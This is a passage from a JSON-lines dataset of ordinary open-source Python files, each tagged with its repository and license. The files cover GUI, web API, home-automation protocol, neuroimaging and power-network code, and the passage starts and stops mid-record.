sentences\ntarget_count0=np.sum(y_train==0)\ntarget_count1=np.sum(y_train==1)\n\nprint('Class 0:', target_count0)\nprint('Class 1:', target_count1)\nprint('Proportion:', round(target_count0 / target_count1, 2), ': 1')\n\n#%% Test Script CELL ################################################################################\nprint('The END.')\n\n", "source": "ChahidAbderrazak/Hand-Gesture-Recognition", "license": "MIT"} {"text": "import os\nimport sys\nfrom PyQt5 import QtGui, QtCore, QtWidgets\nfrom main_window import Ui_MainWindow\nfrom multiprocessing import Process\nfrom builtins import str\n\nif (os.name == 'nt'):\n import vtk\n\n vtk.vtkObject.GlobalWarningDisplayOff()\nimport compute_areas\n\n\nclass MainWindow(QtWidgets.QMainWindow, Ui_MainWindow):\n def __init__(self, parameters, *args):\n super(MainWindow, self).__init__(*args)\n Ui_MainWindow.setupUi(self, self)\n self.last_dir = os.path.expanduser(\"~\")\n self.connect_signals()\n if not parameters:\n self.precisionSpinBox.hide()\n self.precisionLabel.hide()\n self.exportResolutionLabel.hide()\n self.exportReductionDoubleSpinBox.hide()\n self.includeSegmentsCheckBox.hide()\n self.includeSegmentsLabel.hide()\n self.kernelSizeSpinBox.hide()\n self.kernelSizeLabel.hide()\n self.cleanVrmlCheckBox.hide()\n self.cleanVrmlLabel.hide()\n\n def connect_signals(self):\n self.one_vrml_button.clicked.connect(lambda: self.open_dialog(self.one_vrml_input, \"*.vrml *.imx\"))\n self.one_vrml_csv_button.clicked.connect(lambda: self.save_dialog(self.one_vrml_csv_input, \"*.csv\"))\n self.many_vrml_button.clicked.connect(lambda: self.open_dir_dialog(self.many_vrml_input))\n self.many_vrml_csv_button.clicked.connect(lambda: self.open_dir_dialog(self.many_vrml_csv_input))\n self.one_vrml_run_button.clicked.connect(lambda: self.run(\"one_vrml\"))\n self.many_vrml_run_button.clicked.connect(lambda: self.run(\"many_vrml\"))\n\n def run(self, kind):\n args = []\n\n if kind == \"one_vrml\":\n if not os.path.isfile(self.one_vrml_input.text()):\n self.one_vrml_input.setFocus()\n return\n if self.one_vrml_csv_input.text() == \"\":\n self.one_vrml_csv_input.setFocus()\n return\n args = [\"-a\", \"{}\".format(self.one_vrml_csv_input.text()),\n \"-v\", \"{}\".format(self.one_vrml_input.text()),\n \"-s\", \"{}\".format(self.outputFormatComboBox.currentText()),\n \"-p\", \"{}\".format(self.precisionSpinBox.value()),\n \"-r\", \"{}\".format(self.exportReductionDoubleSpinBox.value()),\n \"-f\", \"{}\".format(self.includeSegmentsCheckBox.isChecked()),\n \"-k\", \"{}\".format(self.kernelSizeSpinBox.value()),\n \"-c\", \"{}\".format(self.cleanVrmlCheckBox.isChecked())]\n\n if kind == \"many_vrml\":\n if not os.path.isdir(self.many_vrml_input.text()):\n self.many_vrml_input.setFocus()\n return\n if not os.path.isdir(self.many_vrml_csv_input.text()):\n self.many_vrml_csv_input.setFocus()\n return\n args = [\"-o\", \"{}\".format(self.many_vrml_csv_input.text()),\n \"-w\", \"{}\".format(self.many_vrml_input.text()),\n \"-s\", \"{}\".format(self.outputFormatComboBox.currentText()),\n \"-p\", \"{}\".format(self.precisionSpinBox.value()),\n \"-r\", \"{}\".format(self.exportReductionDoubleSpinBox.value()),\n \"-f\", \"{}\".format(self.includeSegmentsCheckBox.isChecked()),\n \"-k\", \"{}\".format(self.kernelSizeSpinBox.value()),\n \"-c\", \"{}\".format(self.cleanVrmlCheckBox.isChecked())]\n\n print(\"python compute_areas.py \" + \" \".join(args))\n\n p = Process(target=compute_areas.main, args=[args])\n p.start()\n\n self.statusBar.clearMessage()\n QtWidgets.QApplication.setOverrideCursor(QtGui.QCursor(QtCore.Qt.WaitCursor))\n self.tabWidget.setDisabled(True)\n self.check_running(p)\n\n def check_running(self, p):\n if p.is_alive():\n QtCore.QTimer.singleShot(250, lambda: self.check_running(p))\n else:\n p.join()\n if p.exitcode != 0:\n self.statusBar.showMessage(\"ERROR: There was an error computing Areas, try with other vrml/imx\")\n self.tabWidget.setDisabled(False)\n QtWidgets.QApplication.restoreOverrideCursor()\n\n def _handle_file_path(self, file_path):\n if type(file_path) is tuple:\n file = file_path[0]\n else:\n file = file_path\n\n self.last_dir = os.path.dirname(file)\n return file\n\n def open_dialog(self, target, filter):\n file = QtWidgets.QFileDialog.getOpenFileName(self, \"Open File\",\n self.last_dir, filter) # QtCore.QString\n file = self._handle_file_path(file)\n target.setText(file)\n\n def save_dialog(self, target, filter):\n file = QtWidgets.QFileDialog.getSaveFileName(self, \"Save File\",\n self.last_dir, filter) # QtCore.QString\n file = self._handle_file_path(file)\n target.setText(file)\n\n def open_dir_dialog(self, target):\n file = QtWidgets.QFileDialog.getExistingDirectory(self, \"Open Folder\", self.last_dir) # QtCore.QString\n file = self._handle_file_path(file)\n target.setText(file)\n\n\ndef main(argv):\n app = QtWidgets.QApplication(sys.argv)\n mw = MainWindow(\"-p\" in argv)\n # mw.one_imx_input.setText(\"/home/jmorales/sets/imxs/humanas-cingular/Api/api if6 1 8enero LONGS.imx\")\n # mw.one_csv_input.setText(\"/tmp/paco.csv\")\n mw.show()\n app.exec_()\n\n\nif __name__ == '__main__':\n main(sys.argv)\n", "source": "vg-lab/MeshReconstruct", "license": "MIT"} {"text": "# Copyright (C) 2021 Satoshi Konno. All rights reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\")\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http:#www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport random\n\nfrom typing import List\nfrom .const import ECHONET_LITE_VERSION\nfrom .profile import Profile\nfrom .object import Object\nfrom .std import Database\nfrom .util.bytes import Bytes\nfrom .property import Property\nfrom .node import Node\n\n\nclass NodeProfile(Profile):\n CODE = 0x0EF001\n CLASS_CODE = 0xF0\n INSTANCE_GENERAL_CODE = 0x01\n INSTANCE_TRANSMISSION_ONLY_CODE = 0x02\n\n OPERATING_STATUS = Profile.OPERATING_STATUS\n VERSION_INFORMATION = 0x82\n IDENTIFICATION_NUMBER = 0x83\n FAULT_CONTENT = 0x89\n UNIQUE_IDENTIFIER_DATA = 0xBF\n NUMBER_OF_SELF_NODE_INSTANCES = 0xD3\n NUMBER_OF_SELF_NODE_CLASSES = 0xD4\n INSTANCE_LIST_NOTIFICATION = 0xD5\n SELF_NODE_INSTANCE_LIST_S = 0xD6\n SELF_NODE_CLASS_LIST_S = 0xD7\n\n OPERATING_STATUS_SIZE = 1\n VERSION_INFORMATION_SIZE = 4\n IDENTIFICATION_MANUFACTURER_CODE_SIZE = 3\n IDENTIFICATION_UNIQUE_ID_SIZE = 13\n IDENTIFICATION_NUMBER_SIZE = 1 + IDENTIFICATION_MANUFACTURER_CODE_SIZE + IDENTIFICATION_UNIQUE_ID_SIZE\n FAULT_CONTENT_SIZE = 2\n UNIQUE_IDENTIFIER_DATA_SIZE = 2\n NUMBER_OF_SELF_NODE_INSTANCES_SIZE = 3\n NUMBER_OF_SELF_NODE_CLASSES_SIZE = 2\n SELF_NODE_INSTANCE_LIST_S_MAX = 0xFF\n SELF_NODE_CLASS_LIST_S_MAX = 0xFF\n INSTANCE_LIST_NOTIFICATION_MAX = SELF_NODE_INSTANCE_LIST_S_MAX\n\n OPERATING_STATUS_ON = Profile.OPERATING_STATUS_ON\n OPERATING_STATUS_OFF = Profile.OPERATING_STATUS_OFF\n BOOTING = 0x30\n NOT_BOOTING = 0x31\n LOWER_COMMUNICATION_LAYER_PROTOCOL_TYPE = 0xFE\n\n def __init__(self):\n super().__init__(NodeProfile.CODE)\n std_obj = Database().get_object(NodeProfile.CODE)\n if isinstance(std_obj, Object):\n self._set_object_properties(std_obj)\n self.set_request_handler(self)\n self.__update_initial_properties()\n self.update_class_instance_properties([self])\n\n def __update_initial_properties(self) -> bool:\n self.set_property_integer(NodeProfile.OPERATING_STATUS, NodeProfile.BOOTING, NodeProfile.OPERATING_STATUS_SIZE)\n self.set_property_integer(NodeProfile.VERSION_INFORMATION, ECHONET_LITE_VERSION, NodeProfile.VERSION_INFORMATION_SIZE)\n self.__update_id_number()\n self.__update_unique_id()\n return True\n\n def __update_id_number(self) -> bool:\n id_bytes = bytearray([NodeProfile.LOWER_COMMUNICATION_LAYER_PROTOCOL_TYPE, 0x00, 0x00, 0x00])\n for _ in range(NodeProfile.IDENTIFICATION_UNIQUE_ID_SIZE):\n id_bytes.append(random.randint(1, 0xFF))\n return self.set_property_data(NodeProfile.IDENTIFICATION_NUMBER, id_bytes)\n\n def __update_unique_id(self) -> bool:\n id_bytes = bytearray()\n id_bytes.append(random.randint(1, 0xFF) & 0xC0)\n id_bytes.append(random.randint(1, 0xFF))\n return self.set_property_data(NodeProfile.UNIQUE_IDENTIFIER_DATA, id_bytes)\n\n def __is_node_profile_object(self, obj) -> bool:\n if obj.code == NodeProfile.CODE:\n return True\n if obj.code == NodeProfileReadOnly.CODE:\n return True\n return False\n\n def __update_instance_properties(self, objs: List[Object]) -> bool:\n instance_cnt = 0\n instance_list = bytearray()\n for obj in objs:\n if self.__is_node_profile_object(obj):\n continue\n instance_cnt += 1\n instance_list.extend(Bytes.from_int(obj.code, 3))\n\n if not self.set_property_data(NodeProfile.NUMBER_OF_SELF_NODE_INSTANCES, Bytes.from_int(instance_cnt, NodeProfile.NUMBER_OF_SELF_NODE_INSTANCES_SIZE)):\n return False\n\n instance_list_bytes = bytearray(Bytes.from_int(instance_cnt, 1))\n instance_list_bytes.extend(instance_list)\n if not self.set_property_data(NodeProfile.INSTANCE_LIST_NOTIFICATION, instance_list_bytes):\n return False\n if not self.set_property_data(NodeProfile.SELF_NODE_INSTANCE_LIST_S, instance_list_bytes):\n return False\n\n return True\n\n def __update_class_properties(self, objs: List[Object]) -> bool:\n class_cnt = 0\n class_list = bytearray()\n for obj in objs:\n class_cnt += 1\n if self.__is_node_profile_object(obj):\n continue\n has_same_class = False\n for n in range(0, len(class_list), 2):\n if class_list[n] == obj.group_code and class_list[n + 1] == obj.class_code:\n has_same_class = True\n break\n if has_same_class:\n continue\n class_list.extend(bytes([obj.group_code, obj.class_code]))\n\n if not self.set_property_data(NodeProfile.NUMBER_OF_SELF_NODE_CLASSES, Bytes.from_int(class_cnt, NodeProfile.NUMBER_OF_SELF_NODE_CLASSES_SIZE)):\n return False\n\n class_list_bytes = bytearray(Bytes.from_int(class_cnt, 1))\n class_list_bytes.extend(class_list)\n if not self.set_property_data(NodeProfile.SELF_NODE_CLASS_LIST_S, class_list_bytes):\n return False\n\n return True\n\n def __set_property_map_property(self, code: int, prop_map: List[int]) -> bool:\n map_bytes = bytearray(bytes([len(prop_map)]))\n for prop_code in prop_map:\n map_bytes.extend(bytes([prop_code]))\n if not self.set_property_data(code, map_bytes):\n return False\n return True\n\n def __update_property_map_properties(self, objs: List[Object]) -> bool:\n anno_list = []\n get_list = []\n set_list = []\n for obj in objs:\n for prop in obj.properties:\n if prop.is_announce_required():\n anno_list.append(prop.code)\n if prop.is_read_enabled():\n get_list.append(prop.code)\n if prop.is_write_enabled():\n set_list.append(prop.code)\n anno_map = list(set(anno_list))\n get_map = list(set(get_list))\n set_map = list(set(set_list))\n if not self.__set_property_map_property(NodeProfile.ANNO_PROPERTY_MAP, anno_map):\n return False\n if not self.__set_property_map_property(NodeProfile.GET_PROPERTY_MAP, get_map):\n return False\n if not self.__set_property_map_property(NodeProfile.SET_PROPERTY_MAP, set_map):\n return False\n return True\n\n def update_class_instance_properties(self, objs: List[Object]) -> bool:\n if not self.__update_instance_properties(objs):\n return False\n if not self.__update_class_properties(objs):\n return False\n if not self.__update_property_map_properties([self]):\n return False\n return True\n\n def property_read_requested(self, prop: Property) -> bool:\n if isinstance(self.node, Node):\n self.update_class_instance_properties(self.node.objects)\n return True\n\n def property_write_requested(self, prop: Property, data: bytes) -> bool:\n return False\n\n\nclass NodeProfileReadOnly(NodeProfile):\n CODE = 0x0EF002\n\n def __init__(self):\n super().__init__()\n self.set_code(NodeProfileReadOnly.CODE)\n", "source": "cybergarage/uecho-py", "license": "Apache-2.0"} {"text": "sum = float(input())\n\ncounter_of_coins = 0\nsum = int(sum*100)\ncounter_of_coins += sum // 200\nsum = sum % 200\ncounter_of_coins += sum // 100\nsum = sum % 100\ncounter_of_coins += sum // 50\nsum = sum % 50\ncounter_of_coins += sum // 20\nsum = sum % 20\ncounter_of_coins += sum // 10\nsum = sum % 10\ncounter_of_coins += sum // 5\nsum = sum % 5\ncounter_of_coins += sum // 2\nsum = sum % 2\n\nif sum == 1:\n counter_of_coins += 1\n\nprint(int(counter_of_coins))", "source": "Rohitm619/Softuni-Python-Basic", "license": "MIT"} {"text": "from typing import Optional\n\n\ndef try_convert_float(float_str: str) -> Optional[float]:\n try:\n return float(float_str)\n except ValueError:\n return None\n", "source": "scaleapi/nucleus-python-client", "license": "MIT"} {"text": "import os\nimport random\nimport zipfile\n\nall_advancements = os.listdir('advancements')\n\ndef advancement_function(number):\n\treturn (\n\t\t'scoreboard players add @s points 1\\n'\n\t\tf'execute if score @s points matches {number} run function hunt:gameover'\n\t)\n\ndef write(archive, filepath, destination):\n\tarchive.write(filepath, os.path.join(destination, filepath))\n\ndef generate_random_zip(fp):\n\tselected_advancements = random.sample(all_advancements, 5)\n\tgenerate_zip(fp, selected_advancements)\n\ndef generate_zip(fp, selected_advancements):\n\t\n\twith zipfile.ZipFile(fp, 'w') as archive:\n\t\ttop_folder = 'hunt'\n\t\tdata_folder = os.path.join(top_folder, 'data')\n\t\thunt_folder = os.path.join(data_folder, 'hunt')\n\t\tadvancements_folder = os.path.join(hunt_folder, 'advancements')\n\t\twrite(archive, 'pack.mcmeta', top_folder)\n\t\tfor function in os.listdir('functions'):\n\t\t\twrite(archive, os.path.join('functions', function), hunt_folder)\n\t\tarchive.writestr(\n\t\t\tos.path.join(hunt_folder, 'functions', 'advancement.mcfunction'),\n\t\t\tadvancement_function(len(selected_advancements))\n\t\t)\n\t\twrite(archive, 'root.json', advancements_folder)\n\t\tfor advancement in selected_advancements:\n\t\t\twrite(archive, os.path.join('advancements', advancement), hunt_folder)", "source": "erstechnical/garlicsalted", "license": "MIT"} {"text": "import dash\nimport dash_core_components as dcc\nimport dash_bootstrap_components as dbc\nimport dash_html_components as html\nfrom dash.dependencies import Input, Output\nimport config\nimport requests\nfrom markdown import md1, md2\n\ncolors = {'background': 'lightcyan'}\n\napp = dash.Dash(__name__,\n external_stylesheets=[dbc.themes.BOOTSTRAP],\n meta_tags=[{\"name\": \"viewport\", \"content\": \"width=device-width, initial-scale=1\"}])\napp.title = \"Sentiment Analyser\"\n\nsentiment_analysis_layout = html.Div(\n [\n html.H1(\"Sentiment Analyzer\", style={'padding-top':'20px','margin-bottom':'30px', 'text-decoration': 'underline'}),\n # html.Div(children=\"Oscar Bennett, October 2020\", style={'textAlign':'right', 'margin-right':'20px'}),\n html.Div(id=\"text-area\", children=[\n dcc.Textarea(id=\"text\", placeholder=\"Write something here...\", style={'width': '100%', 'height': 180}),\n dbc.Progress(id=\"bar\", value=50, color='info')\n ]),\n html.Div(id=\"result\", children=\"Sentiment Prediction\", style={'margin': '10px', 'height': '1em'}),\n html.Div(id=\"markdown-area\", children=[dcc.Markdown(md1, id=\"markdown1\"),\n html.Img(src=\"assets/system_diagram.png\",style = {\"width\": \"75%\", \n \"display\": \"block\",\n \"margin-left\": \"auto\",\n \"margin-right\": \"auto\"}),\n dcc.Markdown(md2, id=\"markdown2\"),])\n ], style={'textAlign':'center', 'backgroundColor': colors['background']})\n\napp.layout = sentiment_analysis_layout\n\n@app.callback([Output('result', 'children'), Output('bar','value'), Output('bar','color')],\n [Input('text','value')],\n prevent_initial_call=True)\ndef update_result(text):\n if text.strip() != '':\n json_data = {'text': text, 'pred_type': 'soft'}\n response = requests.post(config.API_URL, json=json_data)\n if response.status_code == 200:\n response_json_data = response.json()\n pred_val = response_json_data['pred']\n pred_val = float(pred_val)\n if pred_val < 0.2:\n pred = 'Negative'\n bar_color = 'danger'\n elif 0.2 <= pred_val < 0.4:\n pred = 'Lean Negative'\n bar_color = 'info'\n elif 0.4 <= pred_val < 0.6:\n pred = 'Neutral'\n bar_color = 'info'\n elif 0.6 <= pred_val < 0.8:\n pred = 'Lean Positive'\n bar_color = 'info'\n else:\n pred = 'Positive'\n bar_color = 'success'\n return [pred, pred_val*100, bar_color]\n else:\n print(f\"Error response from API. Code: {response.status_code}\")\n return ['Sentiment Prediction', 50, 'info']\n else:\n return ['Sentiment Prediction', 50, 'info']\n\nserver = app.server\nif __name__ == '__main__':\n app.run_server(debug=config.DEBUG, host=config.HOST)", "source": "ofbennett/sentiment-analysis-app", "license": "MIT"} {"text": "from tortoise import Tortoise\n\nfrom .controllers import router\n\n\ndef init(app):\n app.include_router(router, prefix=\"/users\", tags=[\"Users\"])\n Tortoise.init_models([\"app.users.models\"], \"users\")\n", "source": "Dikower/hack-starter", "license": "MIT"} {"text": "from flask_restplus import Namespace, Resource, fields\nfrom flask_login import current_user\nfrom flask import request\nfrom flask_babel import lazy_gettext\n\nfrom flaskshop.product.models import Product\nfrom flaskshop.checkout.models import Cart\n\napi = Namespace(\"products\", description=lazy_gettext(\"Products related operations\"))\nparser = api.parser()\nparser.add_argument(\"variant_id\", type=int, required=True, help=lazy_gettext(\"The variant\"))\nparser.add_argument(\"quantity\", type=int, required=True, help=lazy_gettext(\"The quantity\"))\n\nproduct_list = api.model(\n \"ProductList\",\n {\n \"id\": fields.Integer(required=True, description=lazy_gettext(\"The product identifier\")),\n \"title\": fields.String(required=True, description=lazy_gettext(\"The product name\")),\n \"description\": fields.String(description=lazy_gettext(\"The product description\")),\n \"price\": fields.String(description=lazy_gettext(\"The product price\")),\n \"first_img\": fields.String(description=lazy_gettext(\"The product first img\")),\n },\n)\nvariant = api.model(\n \"Variant\",\n {\n \"id\": fields.Integer(required=True, description=lazy_gettext(\"The variant identifier\")),\n \"sku\": fields.String(required=True, description=lazy_gettext(\"The variant sku\")),\n \"title\": fields.String(required=True, description=lazy_gettext(\"The variant name\")),\n \"price\": fields.String(required=True, description=lazy_gettext(\"The variant price\")),\n \"stock\": fields.String(\n required=True, description=lazy_gettext(\"The variant stock\"), attribute=\"quantity\"\n ),\n },\n)\nproduct_detail = api.model(\n \"ProductDetail\",\n {\n \"id\": fields.Integer(required=True, description=lazy_gettext(\"The product identifier\")),\n \"title\": fields.String(required=True, description=lazy_gettext(\"The product name\")),\n \"description\": fields.String(description=lazy_gettext(\"The product description\")),\n \"price\": fields.String(description=lazy_gettext(\"The product price\")),\n \"images\": fields.List(fields.String, description=lazy_gettext(\"The product images\")),\n \"variant\": fields.List(\n fields.Nested(variant), description=lazy_gettext(\"The product variant\")\n ),\n },\n)\n\n\n@api.route(\"/\")\nclass ProductList(Resource):\n @api.doc(\"list_products\")\n @api.marshal_list_with(product_list)\n def get(self):\n \"\"\"List all products\"\"\"\n page = request.args.get(\"page\", 1, int)\n products = Product.query.paginate(page, per_page=8).items\n return products\n\n\n@api.route(\"/\")\n@api.param(\"id\", lazy_gettext(\"The product identifier\"))\n@api.response(404, lazy_gettext(\"Product not found\"))\nclass ProductDetail(Resource):\n @api.doc(\"get_product\")\n @api.marshal_with(product_detail)\n def get(self, id):\n \"\"\"Fetch a product \"\"\"\n product = Product.query.get(id)\n if product:\n return product\n api.abort(404)\n\n @api.doc(parser=parser)\n def post(self, id):\n \"\"\"post product to current user cart\"\"\"\n args = parser.parse_args()\n Cart.add_to_currentuser_cart(args[\"quantity\"], args[\"variant_id\"])\n res = {\"cart_lines\": len(current_user.cart.lines)}\n return res, 201\n", "source": "bhardwajRahul/flask-shop", "license": "BSD-3-Clause"} {"text": "# -*- coding: utf-8 -*-\n\"\"\"\npython setup.py sdist upload -r pypi\n\"\"\"\n\nfrom setuptools import setup, find_packages\nfrom stallions import __version__\n\nVERSION = __version__\n\nreadability_lxml = \"readability-lxml\"\n\nsetup(\n name='stallions',\n version=VERSION,\n description='Extract the content of the web page.',\n license='',\n author='galen',\n author_email='galen.wang@rtbasia.com',\n classifiers=[\n 'Programming Language :: Python :: 3.4',\n 'Programming Language :: Python :: 3.5',\n 'Programming Language :: Python :: 3.6',\n 'Programming Language :: Python :: 3.7',\n ],\n url='https://github.com/Mywayking/python_stallion',\n keywords='Web spider',\n packages=find_packages(),\n install_requires=[\n readability_lxml,\n 'lxml',\n 'requests',\n 'fake-useragent',\n ],\n)\n", "source": "Mywayking/python_stallion", "license": "Apache-2.0"} {"text": "\nfrom django.conf.urls import url\nfrom django.contrib import admin\n\n\nfrom .views import activate_user_view, home, register, login_view, logout_view\n\nurlpatterns = [\n url(r'^$', home),\n url(r'^register/$', register),\n url(r'^login/$', login_view),\n url(r'^logout/$', logout_view),\n url(r'^activate/(?P[a-z0-9].*)/$', activate_user_view),\n]\n", "source": "taqdirali/Mining-Minds", "license": "Apache-2.0"} {"text": "#!/usr/bin/env python\nimport sys\nimport os\n# sys.path.append(\"/home/balint/Dokumentumok/phd/github/\") #PUMI should be added to the path by install or by the developer\n# az importalasnal az ~_preproc utan a .fajlnev-et kell megadni\nimport nipype\nimport nipype.pipeline as pe\nimport nipype.interfaces.io as nio\nimport nipype.interfaces.fsl as fsl\nimport PUMI.func_preproc.FieldMapper as fm\n\n\ndatagrab = pe.Node(nio.DataGrabber(outfields=['func',\n 'phase',\n 'magnitude',\n 'TE1',\n 'TE2',\n 'dwelltime'\n ]),\n name='data_grabber')\n\ndatagrab.inputs.base_directory = os.getcwd() # do we need this?\ndatagrab.inputs.template = \"*/*\" # do we need this?\ndatagrab.inputs.field_template = dict(func=sys.argv[1],\n phase=sys.argv[2],\n magnitude=sys.argv[3])\ndatagrab.inputs.sort_filelist = True\n\n\nreorient_func = pe.MapNode(fsl.utils.Reorient2Std(),\n iterfield=['in_file'],\n name=\"reorient_func\")\n\nmyfm=fm.fieldmapper(TE1=4.9,\n TE2=7.3,\n dwell_time=0.00035,\n unwarp_direction=\"y-\")\n\ntotalWorkflow = nipype.Workflow('fm_probe')\ntotalWorkflow.base_dir = '.'\n\ntotalWorkflow.connect([\n (datagrab,reorient_func,\n [('func','in_file')]),\n (reorient_func, myfm,\n [('out_file', 'inputspec.in_file')]),\n (datagrab,myfm,\n [('phase','inputspec.phase')]),\n (datagrab,myfm,\n [('magnitude','inputspec.magnitude')]),\n ])\n\ntotalWorkflow.write_graph('graph-orig.dot', graph2use='orig', simple_form=True)\ntotalWorkflow.write_graph('graph-exec-detailed.dot', graph2use='exec', simple_form=False)\ntotalWorkflow.write_graph('graph.dot', graph2use='colored')\ntotalWorkflow.run()\n", "source": "spisakt/PUMI", "license": "BSD-3-Clause"} {"text": "first_name = \"ada\"\nlast_name = \"lovelace\"\nfull_name = f\"{first_name} {last_name}\"\n#print(full_name)\n\n#print(f\"Hello, {full_name.title()}!\")\n\nmessage = f\"Hello, {full_name.title()}!\"\nprint(message)\n\n#print(\"\\tPython\")\n#print(\"Languages:\\nPython\\nC\\nJavaScript\")\nprint(\"Languages:\\n\\tPython\\n\\tC\\n\\tJavaScript\")", "source": "AndrewWallace1999/csws-week1", "license": "Apache-2.0"} {"text": "from functions.api_parking import get_parking, search_parking, parking_locate\r\n\r\nparkings = get_parking()\r\n\r\nfor parking in parkings['records']:\r\n nom = parking['fields']['name']\r\n places_disponibles = parking['fields']['dispo']\r\n print(f'{nom} | {places_disponibles} places disponibles')\r\n\r\nprint('\\n')\r\n\r\nprint(parking_locate())\r\n\r\nprint('\\n')\r\n\r\nparking_to_get = input('Parking \u00e0 rechercher : ')\r\nprint(search_parking(parking_to_get))", "source": "BenoitObelia/Parking-Orleans-Metropole", "license": "MIT"} {"text": "import sys\nimport os\nfrom platform import python_version\n\n# https://github.com/willmcgugan/rich\nfrom rich.console import Console\nfrom rich.theme import Theme\n\nimport pydbhub.dbhub as dbhub\n\nif __name__ == '__main__':\n custom_theme = Theme({\n \"info\": \"green\",\n \"warning\": \"yellow\",\n \"error\": \"bold red\"\n })\n console = Console(theme=custom_theme)\n\n if python_version()[0:3] < '3.7':\n console.print(\n \"[ERROR] Make sure you have Python 3.7+ installed, quitting.\\n\\n\", style=\"error\")\n sys.exit(1)\n\n # Create a new DBHub.io API object\n db = dbhub.Dbhub(config_file=f\"{os.path.join(os.path.dirname(__file__), '..', 'config.ini')}\")\n\n # Delete a remote database\n dbName = \"Join Testing.sqlite\"\n err = db.Delete(dbName)\n if err is not None:\n console.print(f\"[ERROR] {err}\", style=\"error\")\n else:\n # Display a success message\n console.print(f\"Database '{dbName}' deleted\", style=\"info\")\n", "source": "sum3105/pydbhub", "license": "MIT"} {"text": "# Copyright (C) [2015-2017] [Thomson Reuters LLC]\n# Copyright (C) [2015-2017] [Panos Kittenis]\n\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n\n# http://www.apache.org/licenses/LICENSE-2.0\n\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\"\"\"Constants and default settings for InfluxGraph\"\"\"\n\n# https://influxdb.com/docs/v0.9/query_language/functions.html\n# NB - Transformation functions like derivative are invalid without\n# an aggregation when used in a 'group by' query - we leave those to\n# graphite-api to perform\nINFLUXDB_AGGREGATIONS = [\n # aggregations\n 'count', 'distinct', 'integral', 'mean', 'median', 'mode', 'spread',\n 'stddev', 'sum',\n # selectors\n 'bottom', 'first', 'last', 'max', 'min', 'percentile', 'sample', 'top'\n]\n\nDEFAULT_AGGREGATIONS = {r'\\.min$': 'min',\n r'\\.max$': 'max',\n r'\\.last$': 'last',\n r'\\.sum$': 'sum',\n }\n\n# Tell influxdb to return time as seconds from epoch\n_INFLUXDB_CLIENT_PARAMS = {'epoch': 's'}\nSERIES_LOADER_MUTEX_KEY = 'influxgraph_series_loader'\nMEMCACHE_SERIES_DEFAULT_TTL = 1800\nLOADER_LIMIT = 100000\n# Fill params like 'null' that leave gaps are not valid for use with Graphite\n# API and are purposefully not included here\nFILL_PARAMS = ['previous', 'linear', 'null']\n\n# Memcache key for field keys list\n_MEMCACHE_FIELDS_KEY = 'infl_fields_key'\nFILE_LOCK = '/tmp/influxgraph_index.lock'\nENCODING = 'utf-8'\n", "source": "InfluxGraph/influxgraph", "license": "Apache-2.0"} {"text": "from django.apps import AppConfig\n\n\nclass EcuacionesalgebraicasConfig(AppConfig):\n default_auto_field = 'django.db.models.BigAutoField'\n name = 'ecuacionesAlgebraicas'\n", "source": "MendozaEmerson/AriMath", "license": "Apache-2.0"} {"text": "from numpy import array, ceil\nfrom models import LoadSampler\n\ndef case75(flex_level = 'MEDIUM'):\n\n case = {\"version\": \"ANM\"}\n\n ## system MVA base\n case[\"baseMVA\"] = 1.0\n\n ## Bus data\n case[\"bus\"] = array([\n [1000, 3, 0.0, 0.0, 0, 0, 1, 1, 0, 33, 1, 1.1, 0.9],\n [1100, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1101, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1102, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1103, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1104, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1105, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1106, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1107, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1108, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1109, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1110, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1111, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1112, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1113, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1114, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1115, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1116, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1117, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1118, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1119, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1120, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1121, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1122, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1123, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1124, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 1.05, 0.95],\n [1125, 1, 0.0, 0.0, 0, 0, 1, 1, 0, 11, 1, 